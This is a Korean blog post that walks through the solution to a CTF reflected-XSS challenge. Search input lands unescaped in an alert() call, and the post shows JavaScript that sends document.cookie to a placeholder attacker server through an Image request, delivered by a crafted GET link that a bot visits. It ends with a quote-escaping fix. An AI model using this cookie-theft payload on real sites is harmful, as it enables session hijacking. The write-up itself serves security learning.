Almon Dev

ctf 풀이 (XSS 2) 본문

웹 해킹/웹 해킹(ctf)

ctf 풀이 (XSS 2)

Almon 2024. 12. 23. 03:09

ctf 문제 풀이

 

XSS 2

 

 

풀이

1. XSS 포인트 찾기

 

게시판 CRUD 기능

< >를 html 엔티티로 변환해서 출력합니다.

html 엔티티는 특수문자를 안전하게 출력하기 위해서 사용합니다.

&lt, &gt는 각각 < >로 화면에 출력되지만 실제로는 < >가 아니기 때문에 html구조에 영향을 미치지 못합니다.

< > html 엔티티 변환

 

게시판 검색 기능

검색 기능을 사용할 때 검색 결과가 없는 경우 alert를 통해 결과가 없음을 알려줍니다.

alert문에 입력값이 그대로 포함되기 때문에 script를 삽입할 수 있습니다.

또한 서버에 스크립트를 저장하는 것이 아니라 파라미터로 전달하는 것이기 때문에

GET메서드를 이용해 스크립트를 포함하는 링크를 만들어 사용할 수 있습니다.

GET 메서드 확인

 

2. 스크립트 삽입하기

XSS 1과 마찬가지로 쿠키를 탈취해 GET메서드를 이용해 서버로 전송하는 스크립트를 삽입합니다.

let c = document.cookie;
let i = new Image();
i.src = `http://공격자 서버?cookie=${c}`;

 

 

alert(1) 부분에 스크립트를 삽입하면 됩니다.

 

3. 스크립트 실행하기

GET 메서드로 변환해서 스크립트를 담은 URL을 생성해 봇이 접속하도록 만듭니다.

 

대응 방법

  • 사용자의 입력을 문자열로 사용할 경우 '나 "같은 문자열을 벗어날 수 있는 문자를 이스케이프 처리합니다.

'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글

ctf 풀이 (XSS 4)  (0) 2024.12.23
ctf 풀이 (XSS 3)  (1) 2024.12.23
ctf 풀이 (XSS 1)  (1) 2024.12.23
ctf 풀이 (SQL Injection Point 4)  (1) 2024.12.11
ctf 풀이 (SQL Injection Point 3)  (0) 2024.12.11